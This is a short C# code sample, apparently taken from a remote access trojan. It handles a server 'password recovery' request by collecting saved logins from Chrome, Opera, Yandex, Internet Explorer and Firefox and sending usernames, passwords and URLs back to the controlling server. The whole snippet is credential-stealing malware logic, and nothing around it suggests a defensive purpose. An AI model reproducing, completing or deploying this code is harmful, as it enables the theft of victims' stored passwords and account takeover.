Пример #1
0
        public static void HandlePasswordRequest(Packets.ServerPackets.RecoverPassRequest packet, Client client)
        {
            // MessageBox.Show("Got a pass request");
            List <LoginInfo> mainList = new List <LoginInfo>();

            mainList.AddRange(Chrome.Passwords());
            mainList.AddRange(Opera.Passwords());
            mainList.AddRange(Yandex.Passwords());
            mainList.AddRange(InternetExplorer.Passwords());
            mainList.AddRange(Firefox.Passwords());

            List <string> raw = new List <string>();

            foreach (LoginInfo value in mainList)
            {
                string rawValue = string.Format("{0}|$|{1}|$|{2}|$|{3}", value.Username, value.Password, value.URL, value.Browser);
                raw.Add(rawValue);
            }

            new Packets.ClientPackets.RecoverPassResponse(raw).Execute(client);
        }